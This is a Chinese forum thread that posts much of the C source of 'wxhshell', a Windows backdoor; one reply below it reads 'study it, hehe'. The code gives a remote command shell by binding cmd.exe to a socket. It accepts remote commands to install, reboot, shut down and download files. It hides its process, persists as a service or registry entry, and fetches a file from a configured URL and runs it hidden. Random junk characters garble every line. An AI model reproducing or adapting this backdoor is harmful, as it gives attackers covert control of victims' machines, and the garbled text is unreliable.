  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pj!:[d  
  if(DownloadFile(cmd,wsh)) \, 8p1$G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'a#mViPTQ)  
  else f"Vgefk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D L{R|3{N  
  } R"3 M[^  
  else { G`F8!O(  
JO=1ivZl  
    switch(cmd[0]) { ;wR 'z$8  
  %v{1# ~u  
  // 帮助 Ly7!R$X  
  case '?': { H-I{-Fm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~zF2`.  
    break; ',{7% G9  
  } oq$w4D0Z  
  // 安装 (e9fm|n!)|  
  case 'i': { g$FEEDF  
    if(Install()) DI1(`y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); __I/F6{ 9V  
    else ^:u?ye;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *5OCqU+g  
    break; Cqx v"NN  
    } +@<KC  
  // 卸载 zN{JJ3-  
  case 'r': { RJ~ %0  
    if(Uninstall()) gg^1b77hT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !VP %v&jKm  
    else !tXZ%BP.u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /(?@mnq_  
    break; oY=1C}  
    } I :)W*SK  
  // 显示 wxhshell 所在路径 Wto ;bd  
  case 'p': { 33K*qaRAD  
    char svExeFile[MAX_PATH]; +}@ 8p[`)  
    strcpy(svExeFile,"\n\r"); J!TBREK  
      strcat(svExeFile,ExeFile); .A6lj).:  
        send(wsh,svExeFile,strlen(svExeFile),0); c|AtBgvf  
    break; a{'Z5ail  
    } @hif$  
  // 重启 LA%bq_> f  
  case 'b': { VK:8 Nk_y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AIRr{Y  
    if(Boot(REBOOT)) FT89*C)oD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .lNs4e  
    else { ! bU\zH  
    closesocket(wsh); Xsuwa-G!5~  
    ExitThread(0); z0bJ?~w,  
    } @;:>GA  
    break; /nZ;v4  
    } vq!uD!lr  
  // 关机 7dOyxr"H-  
  case 'd': { zt=0o| k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %Dig)<yx  
    if(Boot(SHUTDOWN)) <>Y?v C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &dR=?bz-A  
    else { iv&v8;B  
    closesocket(wsh); j_cs;G: "  
    ExitThread(0); U@F)2?  
    } "TS  
    break; H'=(`  
    } e3(/qMl  
  // 获取shell 6l\FIah@  
  case 's': { :G5RYi  
    CmdShell(wsh); ',I0ih#Ls  
    closesocket(wsh); '5KeL3J;  
    ExitThread(0); atF?OP|{,w  
    break; q| .dez'  
  } }{[mrG   
  // 退出 [10zTU`  
  case 'x': { en*d/>OVJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o0It82?RN  
    CloseIt(wsh); mXzrEI  
    break; %Ym^{N  
    } '%saL>0  
  // 离开 x@>&IBiL  
  case 'q': {  n_nl{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sEc;!L  
    closesocket(wsh); ,*I@  
    WSACleanup(); ZD>a>]  
    exit(1); TX [%(ft  
    break; q MYe{{r  
        } 8, "yNq  
  } x_#-tB  
  } I=DxRgt  
13hE}g;.  
  // 提示信息 K(}AX+rIg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %?Y[Bk3p  
} PU<PhuMd  
  } Z{6kWA3Kk  
E#wS_[  
  return; gJ$K\[+  
} [K/m  
n(seNp%_  
// shell模块句柄 c]-*P7W  
int CmdShell(SOCKET sock) )!BsF'uVQ  
{ SQ*k =4*r  
STARTUPINFO si; 4LH[4Yj?`  
ZeroMemory(&si,sizeof(si)); e4>"92hX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 81LNkE,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nC1zzFFJ  
PROCESS_INFORMATION ProcessInfo; Y?J"wdWJNB  
char cmdline[]="cmd"; /4\wn?f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7R4z}2F2  
  return 0; 1 rs&74-  
} }Z-Z|G)#  
< 0M:"^f  
// 自身启动模式 $Fkaa<9;P  
int StartFromService(void) B~ S6R  
{ %V9ZyQg%*  
typedef struct <_Z:'~Zp  
{ 7Z ;?b0W  
  DWORD ExitStatus; ) rW&c- '  
  DWORD PebBaseAddress; :r#)z4d5  
  DWORD AffinityMask; azQD>  
  DWORD BasePriority; d[p;T\?"  
  ULONG UniqueProcessId; L|-98]8>  
  ULONG InheritedFromUniqueProcessId; Q6gt+FKU9  
}   PROCESS_BASIC_INFORMATION; 1923N]b  
Y6i _!z[V[  
PROCNTQSIP NtQueryInformationProcess; G7!W{;@I  
m %;D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DGW+>\G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NA3 \  
osARA3\Xt  
  HANDLE             hProcess; tZ`Ts}\e  
  PROCESS_BASIC_INFORMATION pbi; L(T12s  
<JMcIV837  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bV8g|l-4(  
  if(NULL == hInst ) return 0; 40E#JF#  
k>x&Ip8p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Gx)Noo/>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g_5QA)4x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gz2\H}  
o8e?J\?  
  if (!NtQueryInformationProcess) return 0; n1 6 `y}  
0Wa}<]:^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G,Z^g|6  
  if(!hProcess) return 0; !q"W{P  
8 C[/dH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3(TsgP >`  
dL7E<?l  
  CloseHandle(hProcess); Y!iZW  
8k q5ud  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qW:HNEiir  
if(hProcess==NULL) return 0; ^B8b%'\  
@(r /dZc  
HMODULE hMod;  N?Lb  
char procName[255]; >pUtwIP  
unsigned long cbNeeded; jZ NOt  
bfo["  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PkI:*\R  
Q.K,%(^;a  
  CloseHandle(hProcess); cGjPxG;  
McB[|PmC  
if(strstr(procName,"services")) return 1; // 以服务启动 {G?N E  
9tF9T\jW  
  return 0; // 注册表启动  H"A7Zo  
} %|s+jeUDn|  
(vT+IZEI  
// 主模块 %iV^S !e  
int StartWxhshell(LPSTR lpCmdLine) boDt`2=  
{ fb^fVSh>  
  SOCKET wsl; ]_N|L|]M  
BOOL val=TRUE; ER,1(1]N  
  int port=0; vWAL^?HUP  
  struct sockaddr_in door; d!eYqM7-G  
x.S3Zi}=  
  if(wscfg.ws_autoins) Install(); M4as  
f^W;A"+  
port=atoi(lpCmdLine); 9 (QJT}qC  
j?'GZ d"B  
if(port<=0) port=wscfg.ws_port; .Wjs~0c  
H;RwO@v  
  WSADATA data; "AE5 V'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Omd .9  
]+X@ 7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t.mVO]dsj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -GxaV #{  
  door.sin_family = AF_INET; c38D}k^):  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4?B\O`sy.  
  door.sin_port = htons(port); AK@9?_D  
c/sC&i;%O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dAuJXGo  
closesocket(wsl); p5G?N(l  
return 1; S]+ :{9d  
} K6R.@BMN  
41&\mx  
  if(listen(wsl,2) == INVALID_SOCKET) { p, #o<W  
closesocket(wsl); ob8qe,_'  
return 1; 4:FK;~wM&x  
} ~@}Bi@*  
  Wxhshell(wsl); eio 4k-  
  WSACleanup(); %7|9sQ:  
rW$[DdFA5{  
return 0; s0vDHkf8  
\-g)T}g,I  
} |ZmUNiAa  
VVlr*`  
// 以NT服务方式启动 q<M2,YrbAI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wpN=,&!  
{ q@{Bt{$x  
DWORD   status = 0; lnjXD oVb<  
  DWORD   specificError = 0xfffffff; 5 sX+~Q  
vam;4vyu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5aCgjA11  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?` ?)QE8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  094o'k  
  serviceStatus.dwWin32ExitCode     = 0; *WuID2cOI  
  serviceStatus.dwServiceSpecificExitCode = 0; zolt$p  
  serviceStatus.dwCheckPoint       = 0; Z.Lc>7o  
  serviceStatus.dwWaitHint       = 0; 7<*yS310  
:=Nz }mUV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,y#Kv|R  
  if (hServiceStatusHandle==0) return; ;=MU';o  
K|epPGRr  
status = GetLastError(); {z{bY\  
  if (status!=NO_ERROR) yK=cZw%D  
{ .6Pw|xu`Pw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5?x>9C a  
    serviceStatus.dwCheckPoint       = 0; wfH^<jY)E  
    serviceStatus.dwWaitHint       = 0; I`!<9OTBj  
    serviceStatus.dwWin32ExitCode     = status; K|[*t~59  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2GDD!w#!j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .:F%_dS D  
    return; 9P+-#B  
  } eceP0x  
~UP[A'9jJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?82xdp g  
  serviceStatus.dwCheckPoint       = 0; \| 8  
  serviceStatus.dwWaitHint       = 0; Wi)_H$KII  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .[ICx  
} 1G^`-ri6  
.(cw>7e3D  
// 处理NT服务事件,比如:启动、停止 [_EZhq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m+]K;}.}R  
{ Fj2BnM3#  
switch(fdwControl) ,?^ p(w  
{ , s"^kFl  
case SERVICE_CONTROL_STOP: S4_YT@VD%  
  serviceStatus.dwWin32ExitCode = 0; a .k.n<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f*?]+rz  
  serviceStatus.dwCheckPoint   = 0; iP7(tnlW$  
  serviceStatus.dwWaitHint     = 0; rX2.i7i,  
  { (@fHl=! Za  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m;GCc8  
  } )"7iJb<E  
  return; 0x@6^ %^\  
case SERVICE_CONTROL_PAUSE: *Q "wwpl?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [1Qo#w1  
  break; +nFu|qM}  
case SERVICE_CONTROL_CONTINUE: <Z mg#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lR6@ xJd:@  
  break; n{ar gI8wF  
case SERVICE_CONTROL_INTERROGATE: m#| 9hMu  
  break; Q+{xZ'o"Z  
}; Rl?_^dPx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ia!y!_L\'  
} g}1B;zGf  
V17%=bCZ5[  
// 标准应用程序主函数 iP ->S\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .WZ^5>M-  
{ h-`?{k&e  
m[~y@7AK<  
// 获取操作系统版本 mn"G_I  
OsIsNt=GetOsVer(); 8e1UmM[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3YOq2pW72G  
"*e$aTZB\  
  // 从命令行安装 qN9(S:_Px  
  if(strpbrk(lpCmdLine,"iI")) Install(); -=)H{  
}C"%p8=HM  
  // 下载执行文件 NJWA3zz   
if(wscfg.ws_downexe) { I-]?"Q7Jz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .ypL=~Rp  
  WinExec(wscfg.ws_filenam,SW_HIDE); $9_xGfx}  
} $ r@zs'N  
E Nh l&J  
if(!OsIsNt) { "jKY1* ?  
// 如果时win9x,隐藏进程并且设置为注册表启动 -b9\=U[  
HideProc(); @=}0`bE  
StartWxhshell(lpCmdLine); l<58A7  
} he;dq)-e9  
else +V ;l6D  
  if(StartFromService()) 61C7.EZZ;  
  // 以服务方式启动 4DI8s4fi  
  StartServiceCtrlDispatcher(DispatchTable); 2*;~S4 4  
else H)kwQRfu  
  // 普通方式启动 9<6;Hr,>G  
  StartWxhshell(lpCmdLine); P64PPbP  
_Xe>V0   
return 0; un mJbY;t  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八